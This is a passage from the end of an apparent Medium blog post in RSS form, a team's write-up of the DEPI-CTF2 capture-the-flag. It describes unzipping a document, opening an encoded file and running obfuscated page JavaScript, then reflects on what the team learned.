<strong><em>unzip Mr_Robot_CV.docx</em></strong>,</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/0*JGUYeHpryULKCDoz" /></figure><ul><li>So, we tried <strong><em>gedit EVERYTHINGISCONNECTED.enc, </em></strong><em>and found this line:</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vCHOmrdhyejhi-Wk" /></figure><ul><li>Returning to the obfuscated code on the view page source, and tried to run it on a javascript online compiler, and found this output:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/0*6vVl_KBI_6MyfPnU" /></figure><ul><li>In the end, participating in The DEPI-CTF2 was a valuable learning experience for our team. While we successfully solved several challenges, we, unfortunately, couldn’t complete the entire CTF at the required time. However, we are determined to return to the remaining tasks and give them another shot as soon as possible. I am proud of the effort put in by all my colleagues, and this challenge has sharpened our skills and deepened our understanding of cybersecurity. We look forward to tackling the unsolved challenges and improving with each new opportunity.</li></ul><p><em>Thank you.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c51ab5245a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>